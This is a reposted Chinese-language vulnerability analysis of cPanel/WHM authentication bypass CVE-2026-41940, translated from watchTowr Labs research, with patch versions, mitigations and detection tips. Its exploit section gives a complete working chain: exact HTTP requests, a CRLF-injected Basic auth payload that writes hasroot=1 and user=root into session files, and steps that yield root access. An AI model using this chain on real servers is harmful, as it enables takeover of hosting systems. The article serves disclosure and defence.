cPanel/WHM认证绕过漏洞CVE-2026-41940深度分析

admin 2026-05-02 06:02:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: cPanel&WHM的认证绕过漏洞CVE-2026-41940允许攻击者未经授权访问服务器,获取root权限。该漏洞影响所有受支持的cPanel&WHM版本,已被检测到在野外活跃利用。 综合评分: 95 文章分类: 渗透测试,代码审计,应急响应,漏洞分析,安全意识


cover_image

cPanel/WHM 认证绕过漏洞 CVE-2026-41940 深度分析

原创

A译 A译

黑白之道

2026年5月1日 10:31 美国

在小说阅读器读本章

去阅读

导语:安全研究团队 watchTowr Labs 披露了 cPanel & WHM 的严重认证绕过漏洞(CVE-2026-41940),该漏洞影响所有受支持版本,已被检测到在野外活跃利用。攻击者可通过精心构造的 HTTP 请求注入会话文件,最终实现 root 权限访问。本文深度解析漏洞原理与利用链。

图:cPanel/WHM 架构与攻击面

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

黑白之道已关注

分享视频

,时长00:12

0/0

00:00/00:12

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:12

00:12

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

cPanel/WHM 认证绕过漏洞 CVE-2026-41940 深度分析

观看更多

转载

,

cPanel/WHM 认证绕过漏洞 CVE-2026-41940 深度分析

黑白之道已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情


一、漏洞概述

1.1 漏洞背景

cPanel & WHM 是全球最流行的共享主机管理面板,据估计管理着超过 7000 万个域名。WHM(Web Host Manager)是管理员界面,提供 root 级服务器访问权限;cPanel 是用户端控制面板。两者合体,堪称”互联网的钥匙”。

CVE-2026-41940 是一个影响所有受支持版本的认证绕过漏洞。cPanel 官方已发布补丁版本:

  • cPanel & WHM 110.0.x → 11.110.0.97(原 11.110.0.96)
  • cPanel & WHM 118.0.x → 11.118.0.63(原 11.118.0.61)
  • cPanel & WHM 126.0.x → 11.126.0.54(原 11.126.0.53)
  • cPanel & WHM 132.0.x → 11.132.0.29(原 11.132.0.27)
  • cPanel & WHM 134.0.x → 11.134.0.20(原 11.134.0.19)
  • cPanel & WHM 136.0.x → 11.136.0.5(原 11.136.0.4)

已知主机托管商 KnownHost 已确认该漏洞正在野外被利用,作为零日攻击针对互联网很大一部分的管理平面。 图:KnownHost 确认野外利用


二、技术细节分析

2.1 会话文件结构

cPanel 使用基于文件的会话管理。会话文件位于:

  • 原始文件:/var/cpanel/sessions/raw/<session_id>
  • 缓存文件:/var/cpanel/sessions/cache/<session_id>(JSON 格式)

会话文件采用 key=value 格式存储。例如,一次失败的登录会创建如下会话:

local_ip_address=172.17.0.2
external_validation_token=bOOwkwVzFsruooU0
cp_security_token=/cpsess7833455106
needs_auth=1
origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass
hulk_registered=0
tfa_verified=0
ip_address=172.17.0.1
local_port=2087
port=49254
login_theme=cpanel

Cookie 中的会话 ID 格式为 :Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa,其中逗号后的 32 位十六进制字符串是 <ob> 段——每会话密钥,用于对称加密 pass 字段。 图: 段参与加密流程

2.2 漏洞原理

漏洞由两个关键问题组合而成:

问题一:CRLF 注入未过滤

在 saveSession 函数中,如果 <ob> 段缺失(Cookie 中无逗号或逗号后为空),编码器不会触发,pass 字段保持明文写入磁盘: 图: 段参与加密流程

if&nbsp;(&nbsp;defined&nbsp;$ob&nbsp;&&&nbsp;length&nbsp;$ob&nbsp;) {
&nbsp; &nbsp;&nbsp;my&nbsp;$encoder&nbsp;= Cpanel::Session::Encoder->new(&nbsp;'secret'&nbsp;=>&nbsp;$ob&nbsp;);
&nbsp; &nbsp;&nbsp;$session_ref->{'pass'} =&nbsp;$encoder->encode_data(&nbsp;$session_ref->{'pass'} );
}
else&nbsp;{
&nbsp; &nbsp;&nbsp;$session_ref->{'pass'} =&nbsp;'no-ob:'&nbsp;. Cpanel::Session::Encoder->hex_encode_only(&nbsp;$session_ref->{'pass'} );
}

图:代码修改细节提示

同时,pass 值来自 HTTP Basic 认证头,set_pass 函数仅 stripping NUL 字节,\r\n 被保留。 图:saveSession 函数补丁前后对比(来源:watchTowr Labs)

问题二:缓存优先读取

loadSession 优先读取 JSON 缓存文件,而非原始文本文件。即使我们在原始文件中注入了额外记录,缓存中的 pass 仍是包含 \r\n 的单一字符串,不会解析为顶层键。

2.3 利用链完整步骤

步骤 1:创建预认证会话

发送错误登录请求,获取有效会话文件:

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

user=root&pass=wrong

响应会返回 Cookie,如:

Set-Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_%2c4d257abc371539dfebdf7d3a3e64de0b

解码后::QSJN_sFdKZtCi2o_,4d257abc371539dfebdf7d3a3e64de0b

步骤 2:注入恶意记录

构造 Basic 认证头,密码部分包含 CRLF 注入:

x\r\n
hasroot=1\r\n
tfa_verified=1\r\n
user=root\r\n
cp_security_token=/cpsess9999999999\r\n
successful_internal_auth_with_timestamp=1777462149

Base64 编码后发送请求,关键点:Cookie 只保留基础名称(去掉 ,<obhex> 部分):

GET / HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Authorization: Basic <base64编码的root:payload>

此时原始会话文件内容变为:

pass=x
hasroot=1 &nbsp; &nbsp;<-- 注入
tfa_verified=1 &nbsp; &nbsp;<-- 注入
user=root &nbsp; &nbsp;<-- 注入
cp_security_token=/cpsess9999999999 &nbsp; &nbsp;<-- 注入
successful_internal_auth_with_timestamp=1777462149 &nbsp; &nbsp;<-- 注入

步骤 3:提升注入到缓存

仅修改原始文件不够,因为加载器读缓存。需要触发 Cpanel::Session::Modify 的 new + save 流程,该流程使用 nocache => 1 参数直接读取原始文件,然后写回时会更新 JSON 缓存。

触发方式:访问需要 cp_security_token 但未提供的 URL,触发 do_token_denied

GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

响应:401 Token Denied

此时缓存 JSON 已更新,注入的键成为顶层记录:

{
&nbsp;&nbsp;"tfa_verified":&nbsp;"1",
&nbsp;&nbsp;"user":&nbsp;"root",
&nbsp;&nbsp;"hasroot":&nbsp;"1",
&nbsp;&nbsp;"successful_internal_auth_with_timestamp":&nbsp;"1777462149",
&nbsp; ...
}

步骤 4:绕过密码验证

docheckpass_whostmgrd 在每次请求时会检查 successful_internal_auth_with_timestamp 时间戳。如果该字段存在,完全跳过密码验证,直接返回 AUTH_OK

sub&nbsp;check_authok_user&nbsp;{
&nbsp; &nbsp;&nbsp;if&nbsp;($AUTHOPTS{'authable_user'}{'successful_external_auth_with_timestamp'}
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;or&nbsp;$AUTHOPTS{'authable_user'}{'successful_internal_auth_with_timestamp'}) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;$Cpanel::Server::AUTH_OK,&nbsp;0; &nbsp;# 不查询 /etc/shadow
&nbsp; &nbsp; }
}

步骤 5:验证权限

访问任意需要认证的端点:

GET /json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

此时应返回 200 OK 而非 403 Forbidden,表明已获得 root 级会话。


三、漏洞影响评估

3.1 受影响范围

  • 所有受支持的 cPanel & WHM 版本(详见上文列表)
  • 全球约 7000 万+ 域名受影响
  • 攻击者可获得服务器 root 权限
  • 漏洞已在野外被利用(KnownHost 确认) 图:KnownHost 确认野外利用

3.2 攻击前提

  • 目标运行易受攻击版本的 cPanel/WHM
  • 攻击者能够发起 HTTP 请求(通常需网络可达)
  • 无需有效凭证

3.3 危害等级

  • CVSS 评分:待 cPanel 官方评估(预计 9.0+)
  • 利用复杂度:低(仅需构造 HTTP 请求)
  • 攻击向量:网络
  • 权限提升:完全 root 访问

四、修复与缓解措施

4.1 立即升级

首要措施:立即升级到官方补丁版本(见 1.1 节列表)。升级前请:

  1. 完整备份所有数据和配置
  2. 在测试环境验证升级流程
  3. 安排在维护窗口执行

4.2 临时缓解方案

若无法立即升级,可考虑:

网络层防护

  • 限制 2087/2086 端口访问(仅允许可信 IP)
  • 启用防火墙规则,阻止异常 Basic Auth 请求
  • 部署 WAF 规则检测 CRLF 注入模式

监控检测

  • 监控 /var/cpanel/sessions/raw/ 和 /var/cpanel/sessions/cache/ 中会话文件的异常修改
  • 关注未授权访问日志
  • 检测 successful_internal_auth_with_timestamp 字段的出现

检测脚本:watchTowr Labs 已发布 Detection Artifact Generator[1],可用于扫描易受感染主机。

4.3 验证修复状态

  1. 检查当前版本:/usr/local/cpanel/cpanel -V
  2. 确认会话文件权限:ls -la /var/cpanel/sessions/
  3. 审查日志:grep -i "auth" /var/log/secure 或 /var/log/messages

五、漏洞时间线

  • 2026-03-27:漏洞首次被披露
  • 2026-03-31:补丁版本发布(披露后 4 天)
  • 2026-04 起:KnownHost 等托管商检测到野外利用
  • 2026-05-01:watchTowr Labs 发布完整技术分析

六、防御建议总结

  • 立即行动:升级到最新补丁版本
  • 网络隔离:限制管理接口访问来源
  • 监控告警:部署检测规则,关注异常会话活动
  • 最小权限:确保 cPanel 账户遵循最小权限原则
  • 定期审计:定期检查系统日志和会话目录

七、参考资源

  • cPanel 官方安全公告[2]
  • watchTowr Labs 技术报告[3]
  • 检测工具 GitHub 仓库[4]
  • KnownHost 野外利用确认(Reddit)[5]图:KnownHost 确认野外利用

本文基于 watchTowr Labs 公开发布的研究报告翻译整理,仅供网络安全研究与防御使用。未经授权,请勿用于非法攻击。

引用链接

[1]Detection Artifact Generator: https://github.com/watchTowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

[2]cPanel 官方安全公告: https://support.cpanel.net/hc/en-us/articles/40073787579671-Critical-Vulnerability-with-cPanel-WHM-Login-Authentication

[3]watchTowr Labs 技术报告: https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

[4]检测工具 GitHub 仓库: https://github.com/watchTowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

[5]KnownHost 野外利用确认(Reddit): https://www.reddit.com/r/cpanel/comments/1syyajp/comment/oiyg0fr/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 A译 A译《cPanel/WHM 认证绕过漏洞 CVE-2026-41940 深度分析》

评论:0   参与:  0